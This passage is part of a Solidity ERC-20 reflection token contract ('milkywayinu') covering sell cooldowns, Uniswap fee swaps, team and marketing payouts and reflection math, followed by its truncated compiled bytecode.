amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (4 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 6000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b60405161013091906131c5565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d38565b610418565b60405161016d91906131aa565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613347565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612ce5565b610447565b6040516101d591906131aa565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b60405161020091906133bc565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d78565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612c4b565b61064d565b60405161027d9190613347565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf91906130dc565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea91906131c5565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d38565b610857565b60405161032791906131aa565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612dd2565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612ca5565b610b03565b6040516103bb9190613347565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600b81526020017f6d696c6b79776179696e75000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b61051085604051806060016040528060288152602001613a0960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132a7565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d6c6b79696e7500000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132a7565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132a7565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990613267565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061248e90919063ffffffff16565b61250990919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613347565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132a7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612c78565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612c78565b6040518363ffffffff1660e01b8152600401610de49291906130f7565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612c78565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613149565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612dff565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506753444835ec580000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611040929190613120565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612da5565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613307565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613227565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613347565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d0906132e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611340906131e7565b60405180910390fd5b6000811161138c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611383906132c7565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613327565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061342c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61248e90919063ffffffff16565b61250990919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061342c565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b52906135db565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2042611ba9919061342c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c89906135db565b919050555061384042611c9c919061342c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c906135db565b919050555061546042611d8f919061342c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f906135db565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061342c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612553565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b6120338484848461257c565b50505050565b6000838311158290612081576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207891906131c5565b60405180910390fd5b5060008385612090919061350d565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461250990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461250990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613207565b60405180910390fd5b60006121e96125bb565b90506121fe818461250990919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561223e5761223d6136b1565b5b60405190808252806020026020018201604052801561226c5781602001602082028036833780820191505090505b509050308160008151811061228457612283613682565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561232657600080fd5b505afa15801561233a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061235e9190612c78565b8160018151811061237257612371613682565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123d930601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161243d959493929190613362565b600060405180830381600087803b15801561245757600080fd5b505af115801561246b573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156124a15760009050612503565b600082846124af91906134b3565b90508284826124be9190613482565b146124fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f590613287565b60405180910390fd5b809150505b92915050565b600061254b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125e6565b905092915050565b8060085461256191906134b3565b60088190555060018111156125795760086009819055505b50565b8061258a57612589612649565b5b61259584848461267a565b806125a3576125a26125a9565b5b50505050565b60076008819055506007600981905550565b60008060006125c8612845565b915091506125df818361250990919063ffffffff16565b9250505090565b6000808311829061262d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262491906131c5565b60405180910390fd5b506000838561263c9190613482565b9050809150509392505050565b600060085414801561265d57506000600954145b1561266757612678565b600060088190555060006009819055505b565b60008060008060008061268c876128a7565b9550955095509550955095506126ea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127cb816129b7565b6127d58483612a74565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128329190613347565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea00000905061287b683635c9adc5dea0000060065461250990919063ffffffff16565b82101561289a57600654683635c9adc5dea000009350935050506128a3565b81819350935050505b9091565b60008060008060008060008060006128c48a600854600954612aae565b92509250925060006128d46125bb565b905060008060006128e78e878787612b44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061295183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b6000808284612968919061342c565b9050838110156129ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a490613247565b60405180910390fd5b8091505092915050565b60006129c16125bb565b905060006129d8828461248e90919063ffffffff16565b9050612a2c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a898260065461290f90919063ffffffff16565b600681905550612aa48160075461295990919063ffffffff16565b6007819055505050565b600080600080612ada6064612acc888a61248e90919063ffffffff16565b61250990919063ffffffff16565b90506000612b046064612af6888b61248e90919063ffffffff16565b61250990919063ffffffff16565b90506000612b2d82612b1f858c61290f90919063ffffffff16565b61290f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b5d858961248e90919063ffffffff16565b90506000612b74868961248e90919063ffffffff16565b90506000612b8b878961248e90919063ffffffff16565b90506000612bb482612ba6858761290f90919063ffffffff16565b61290f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612bdc816139c3565b92915050565b600081519050612bf1816139c3565b92915050565b600081359050612c06816139da565b92915050565b600081519050612c1b816139da565b92915050565b600081359050612c30816139f1565b92915050565b600081519050612c45816139f1565b92915050565b600060208284031215612c6157612c606136e0565b5b6000612c6f84828501612bcd565b91505092915050565b600060208284031215612c8e57612c8d6136e0565b5b6000612c9c84828501612be2565b91505092915050565b60008060408385031215612cbc57612cbb6136e0565b5b6000612cca85828601612bcd565b9250506020612cdb85828601612bcd565b9150509250929050565b600080600060608486031215612cfe57612cfd6136e0565b5b6000612d0c86828701612bcd565b9350506020612d1d86828701612bcd565b9250506040612d2e86828701612c21565b9150509250925092565b60008060408385031215612d4f57612d4e6136e0565b5b6000612d5d85828601612bcd565b9250506020612d6e85828601612c21565b9150509250929050565b600060208284031215612d8e57612d8d6136e0565b5b6000612d9c84828501612bf7565b91505092915050565b600060208284031215612dbb57612dba6136e0565b5b6000612dc984828501612c0c565b91505092915050565b600060208284031215612de857612de76136e0565b5b6000612df684828501612c21565b91505092915050565b600080600060608486031215612e1857612e176136e0565b5b6000612e2686828701612c36565b9350506020612e3786828701612c36565b9250506040612e4886828701612c36565b9150509250925092565b6000612e5e8383612e6a565b60208301905092915050565b612e7381613541565b82525050565b612e8281613541565b82525050565b6000612e93826133e7565b612e9d818561340a565b9350612ea8836133d7565b8060005b83811015612ed9578151612ec08882612e52565b9750612ecb836133fd565b925050600181019050612eac565b5085935050505092915050565b612eef81613553565b82525050565b612efe81613596565b82525050565b6000612f0f826133f2565b612f19818561341b565b9350612f298185602086016135a8565b612f32816136e5565b840191505092915050565b6000612f4a60238361341b565b9150612f55826136f6565b604082019050919050565b6000612f6d602a8361341b565b9150612f7882613745565b604082019050919050565b6000612f9060228361341b565b9150612f9b82613794565b604082019050919050565b6000612fb3601b8361341b565b9150612fbe826137e3565b602082019050919050565b6000612fd6601d8361341b565b9150612fe18261380c565b602082019050919050565b6000612ff960218361341b565b915061300482613835565b604082019050919050565b600061301c60208361341b565b915061302782613884565b602082019050919050565b600061303f60298361341b565b915061304a826138ad565b604082019050919050565b600061306260258361341b565b915061306d826138fc565b604082019050919050565b600061308560248361341b565b91506130908261394b565b604082019050919050565b60006130a860118361341b565b91506130b38261399a565b602082019050919050565b6130c78161357f565b82525050565b6130d681613589565b82525050565b60006020820190506130f16000830184612e79565b92915050565b600060408201905061310c6000830185612e79565b6131196020830184612e79565b9392505050565b60006040820190506131356000830185612e79565b61314260208301846130be565b9392505050565b600060c08201905061315e6000830189612e79565b61316b60208301886130be565b6131786040830187612ef5565b6131856060830186612ef5565b6131926080830185612e79565b61319f60a08301846130be565b979650505050505050565b60006020820190506131bf6000830184612ee6565b92915050565b600060208201905081810360008301526131df8184612f04565b905092915050565b6000602082019050818103600083015261320081612f3d565b9050919050565b6000602082019050818103600083015261322081612f60565b9050919050565b6000602082019050818103600083015261324081612f83565b9050919050565b6000602082019050818103600083015261326081612fa6565b9050919050565b6000602082019050818103600083015261328081612fc9565b9050919050565b600060208201905081810360008301526132a081612fec565b9050919050565b600060208201905081810360008301526132c08161300f565b9050919050565b600060208201905081810360008301526132e081613032565b9050919050565b6000602082019050818103600083015261330081613055565b9050919050565b6000602082019050818103600083015261332081613078565b9050919050565b600060208201905081810360008301526133408161309b565b9050919050565b600060208201905061335c60008301846130be565b92915050565b600060a08201905061337760008301886130be565b6133846020830187612ef5565b81810360408301526133968186612e88565b90506133a56060830185612e79565b6133b260808301846130be565b9695505050505050565b60006020820190506133d160008301846130cd565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134378261357f565b91506134428361357f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561347757613476613624565b5b828201905092915050565b600061348d8261357f565b91506134988361357f565b9250826134a8576134a7613653565b5b828204905092915050565b60006134be8261357f565b91506134c98361357f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561350257613501613624565b5b828202905092915050565b60006135188261357f565b91506135238361357f565b92508282101561353657613535613624565b5b828203905092915050565b600061354c8261355f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135a18261357f565b9050919050565b60005b838110156135c65780820151818401526020810190506135ab565b838111156135d5576000848401525b50505050565b60006135e68261357f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561361957613618613624565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260